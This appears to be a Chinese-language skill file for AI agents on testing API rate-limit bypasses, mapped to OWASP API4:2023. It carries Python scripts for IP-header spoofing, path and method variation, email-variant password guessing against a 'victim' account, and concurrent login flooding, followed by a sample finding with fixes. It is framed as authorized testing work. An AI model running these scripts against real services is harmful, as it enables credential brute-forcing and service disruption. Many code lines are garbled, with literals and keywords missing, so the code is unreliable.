| name | performing-api-rate-limiting-bypass |
| description | 通过操纵请求头、IP 地址、HTTP 方法、API 版本和编码方案,测试 API 限速(Rate Limiting) 实现中的绕过漏洞,以规避请求节流控制。测试人员识别限速响应头,确定执行机制, 并尝试包括 X-Forwarded-For 欺骗、参数污染、大小写变换和端点路径操纵在内的绕过手段。 映射至 OWASP API4:2023 无限制资源消耗。当请求涉及限速绕过、API 节流规避、 暴力破解防护测试或 API 滥用防御评估时触发。
|
| domain | cybersecurity |
| subdomain | api-security |
| tags | ["api-security","owasp","rate-limiting","throttling","brute-force","dos-prevention"] |
| version | 1.0.0 |
| author | mahipal |
| license | Apache-2.0 |
执行 API 限速绕过测试
适用场景
- 测试 API 限速能否被绕过以实现对认证端点的暴力破解攻击
- 评估 API 节流控制对撞库攻击(Credential Stuffing)或账号枚举的有效性
- 验证限速是否在所有 API 版本、HTTP 方法和编码格式上一致执行
- 测试 API 网关限速能否通过请求头操纵或 IP 轮换绕过
- 验证限速是否能防御资源耗尽和拒绝服务攻击条件
不适用于 未经书面授权的场景。限速测试涉及发送大量请求,可能影响服务可用性。
前置条件
- 明确授权文件,指定目标端点和可接受的请求量
- Python 3.10+,安装
requests、aiohttp 和 asyncio 库
- Burp Suite Professional,配备 Turbo Intruder 扩展用于高速测试
- cURL 用于手动请求头操纵测试
- 了解目标的 CDN 和 WAF 基础设施(Cloudflare、AWS WAF、Akamai)
- 待测试的限速绕过请求头列表
工作流程
步骤 1:限速发现与基线建立
识别限速的实现方式:
import requests
import time
BASE_URL = "https://target-api.example.com/api/v1"
headers = {"Authorization": "Bearer <token>", "Content-Type": "application/json"}
def probe_rate_limit(endpoint, method="GET", count=100):
results = []
for i in range(count):
resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=headers)
rate_headers = {
"limit": resp.headers.get("X-RateLimit-Limit") or resp.headers.get("X-Rate-Limit-Limit"),
"remaining": resp.headers.get("X-RateLimit-Remaining") or resp.headers.get("X-Rate-Limit-Remaining"),
"reset": resp.headers.get("X-RateLimit-Reset") or resp.headers.get("X-Rate-Limit-Reset"),
"retry_after": resp.headers.get("Retry-After"),
"status": resp.status_code
}
results.append(rate_headers)
if resp.status_code == 429:
print(f"第 {i+1} 次请求触发限速:{rate_headers}")
return results, i+1
time.sleep(0.05)
print()
results, count
login_results, login_threshold = probe_rate_limit(, , )
api_results, api_threshold = probe_rate_limit(, , )
search_results, search_threshold = probe_rate_limit(, , )
()
()
()
()
步骤 2:基于 IP 的绕过技术
IP_SPOOFING_HEADERS = [
"X-Forwarded-For",
"X-Real-IP",
"X-Original-Forwarded-For",
"X-Originating-IP",
"X-Remote-IP",
"X-Remote-Addr",
"X-Client-IP",
"X-Host",
"X-Forwarded-Host",
"True-Client-IP",
"Cluster-Client-IP",
"X-ProxyUser-Ip",
"Forwarded",
"CF-Connecting-IP",
"Fastly-Client-IP",
"X-Azure-ClientIP",
"X-Akamai-Client-IP",
]
def test_ip_spoofing_bypass(endpoint, method="POST", body=None):
"""测试 IP 欺骗请求头是否可绕过限速。"""
for i in range(200):
resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=headers, json=body)
if resp.status_code == 429:
print(f"第 {i+1} 次请求触发限速")
break
bypasses_found = []
for header in IP_SPOOFING_HEADERS:
spoofed_headers = {**headers, header: f"10.0.{i%256}.{(i*7)%256}"}
resp = requests.request(method, , headers=spoofed_headers, json=body)
resp.status_code != :
bypasses_found.append(header)
()
bypasses_found
login_body = {: , : }
bypasses = test_ip_spoofing_bypass(, , login_body)
步骤 3:端点变形绕过
def test_path_variation_bypass(base_endpoint, token):
"""测试路径变形是否可绕过与特定端点绑定的限速。"""
variations = [
base_endpoint,
base_endpoint + "/",
base_endpoint.upper(),
base_endpoint + "?dummy=1",
base_endpoint + "#fragment",
base_endpoint + "%20",
base_endpoint + "/..",
base_endpoint.replace("/v1/", "/v2/"),
base_endpoint + ";",
base_endpoint + "\t",
base_endpoint + "%00",
base_endpoint + "..;/",
]
for i in range(200):
resp = requests.post(f"{BASE_URL}{base_endpoint}",
headers={"Authorization": f"Bearer {token}"},
json={"username": "test", "password": })
resp.status_code == :
variant variations:
:
resp = requests.post(,
headers={: },
json={: , : })
resp.status_code != :
()
Exception:
test_path_variation_bypass(, )
步骤 4:HTTP 方法和 Content-Type 绕过
def test_method_bypass(endpoint, original_body):
"""测试限速是否与特定方法绑定。"""
methods_to_test = ["POST", "PUT", "PATCH", "GET", "OPTIONS"]
content_types = [
"application/json",
"application/x-www-form-urlencoded",
"multipart/form-data",
"text/plain",
"application/xml",
"text/xml",
]
for i in range(200):
resp = requests.post(f"{BASE_URL}{endpoint}",
headers={**headers, "Content-Type": "application/json"},
json=original_body)
if resp.status_code == 429:
break
for method in methods_to_test:
if method == "POST":
continue
resp = requests.request(method, f"{BASE_URL}{endpoint}",
headers=headers, json=original_body)
if resp.status_code not in (429, 405):
print(f"[绕过] 切换方法到 {method}:")
ct content_types:
ct == :
test_headers = {**headers, : ct}
ct == :
data = .join( k, v original_body.items())
resp = requests.post(, headers=test_headers, data=data)
:
resp = requests.post(, headers=test_headers,
data=(original_body))
resp.status_code != :
()
test_method_bypass(, {: , : })
步骤 5:账户级别绕过技术
import string
import random
def test_account_rotation_bypass(login_endpoint, target_password_list):
"""测试限速是否针对每账户,通过轮换用户名可绕过。"""
target_email = "victim@example.com"
email_variations = [
target_email,
target_email.upper(),
f" {target_email}",
f"{target_email} ",
target_email.replace("@", "%40"),
f"+tag@".join(target_email.split("@")),
]
for password in target_password_list[:50]:
for email_var in email_variations:
resp = requests.post(f"{BASE_URL}{login_endpoint}",
json={"username": email_var, "password": password})
if resp.status_code == 200:
print(f"[成功] 登录成功:{email_var} / {password}")
return True
elif resp.status_code == 429:
print(f"变体触发限速:{email_var}")
time.sleep(0.1)
return False
():
i ():
random_param = .join(random.choices(string.ascii_lowercase, k=))
resp = requests.post(
,
headers=headers,
json={: , : }
)
resp.status_code == :
()
()
步骤 6:分布式和异步测试
import asyncio
import aiohttp
async def distributed_rate_limit_test(endpoint, total_requests=1000, concurrency=50):
"""在并发负载下测试限速。"""
results = {"success": 0, "rate_limited": 0, "errors": 0}
async def make_request(session, request_num):
try:
req_headers = {
**headers,
"X-Forwarded-For": f"192.168.{request_num % 256}.{(request_num * 3) % 256}"
}
async with session.post(
f"{BASE_URL}{endpoint}",
headers=req_headers,
json={"username": "test@example.com", "password": f"attempt_{request_num}"}
) as resp:
if resp.status == 429:
results["rate_limited"] += 1
elif resp.status in (200, 401):
results["success"] += 1
:
results[] +=
Exception:
results[] +=
connector = aiohttp.TCPConnector(limit=concurrency)
aiohttp.ClientSession(connector=connector) session:
tasks = [make_request(session, i) i (total_requests)]
asyncio.gather(*tasks)
()
()
()
()
()
核心概念
| 术语 | 定义 |
|---|
| 限速(Rate Limiting) | 控制客户端在时间窗口内向 API 发送请求数量,通常按 IP、用户或 API 密钥执行 |
| 无限制资源消耗(Unrestricted Resource Consumption) | OWASP API4:2023 - 未适当限制请求的资源大小或数量的 API,可导致 DoS 或暴力破解攻击 |
| X-Forwarded-For 欺骗 | 操纵 X-Forwarded-For 请求头,使服务器认为请求来自不同的 IP 地址,从而绕过基于 IP 的限速 |
| 撞库攻击(Credential Stuffing) | 向登录端点自动注入被盗的用户名/密码对,需绕过限速才能大规模实施 |
| 令牌桶(Token Bucket) | 允许突发请求直至桶容量上限、以固定速率填充的限速算法 |
| 滑动窗口(Sliding Window) | 在滚动时间窗口内跟踪请求的限速算法,比固定窗口更能抵抗突发攻击 |
工具与系统
- Burp Suite Turbo Intruder:高性能请求发送工具,使用基于 Python 的脚本引擎进行限速测试
- ffuf:快速 Web 模糊器,支持可配置请求速率和请求头操纵的限速测试
- wfuzz:支持请求头注入、参数模糊测试和限速规避技术的 Web 模糊器
- Postman Collection Runner:带变量轮换的自动化集合执行,用于限速绕过测试
- Gatling/k6:模拟真实流量模式以测试生产级限速的负载测试工具
常见场景
场景:登录 API 限速绕过评估
场景背景:某金融服务 API 在登录端点实施了限速以防止暴力破解攻击。安全团队在合规审计前需要验证这些控制措施的有效性。
方法:
- 基线:向
POST /api/v1/auth/login 发送 100 次请求——每个 IP 每分钟第 10 次请求触发限速
- 测试 X-Forwarded-For 轮换:使用唯一的 X-Forwarded-For 值发送 100 次请求——限速被绕过(所有请求返回 401,而非 429)
- 测试路径变形:
/api/v1/auth/login/(末尾斜杠)重置限速计数器
- 测试 API 版本:
/api/v2/auth/login 未配置限速(影子 API)
- 测试参数污染:在每次请求中添加
?_=<随机值> 可绕过限速
- 测试并发请求:同一 IP 的 50 个同时请求——计数器出现竞态条件,45 个成功
- 确定限速在 nginx 反向代理层通过仅 IP 跟踪实现,信任 X-Forwarded-For 请求头未经验证
常见陷阱:
- 发送过多请求速度太快,对测试环境造成实际拒绝服务
- 未测试密码重置、MFA 验证和账号枚举端点的限速
- 假设限速是全局应用的,但实际上可能仅针对特定端点或方法
- 遗漏限速计数器中允许突发绕过的竞态条件
- 未分别测试已认证和未认证的限速
输出格式
## 发现:通过 X-Forwarded-For 请求头欺骗绕过限速
**ID**:API-RATE-001
**严重性**:高(CVSS 7.3)
**OWASP API**:API4:2023 - 无限制资源消耗
**受影响端点**:
- POST /api/v1/auth/login
- POST /api/v1/auth/forgot-password
- POST /api/v1/auth/verify-mfa
**描述**:
API 限速实现依赖 X-Forwarded-For 请求头来识别客户端 IP 地址。
由于应用位于不对该请求头进行剥离或验证的负载均衡器后面,
攻击者可以设置任意 X-Forwarded-For 值,从而绕过认证端点
每分钟 10 次请求的速率限制。
**已确认的绕过方法**:
1. X-Forwarded-For 轮换:60 秒内 1000 次登录尝试(vs. 10 次限制)
2. 末尾斜杠路径变形:/auth/login/ 被视为独立端点
3. API v2 端点:未配置限速
4. 竞态条件:50 个并发请求,计数器更新前 45 个成功
**影响**:
攻击者可对任意用户账户执行无限制的暴力破解攻击,
绕过旨在防止撞库攻击的限速措施。
以每分钟 1000 次的速度,6 位 PIN 可在不到 17 分钟内被破解。
**修复建议**:
1. 配置负载均衡器设置 X-Forwarded-For,并剥离客户端提供的值
2. 在应用层基于已认证用户 ID(而非仅 IP)实施限速
3. 应用限速规则前规范化 URL 路径(去除末尾斜杠,统一大小写)
4. 在所有 API 版本和 Content-Type 上一致应用限速
5. 使用原子限速计数器(Redis INCR)防止竞态条件
6. 在硬性限制之外实施渐进式延迟(指数退避)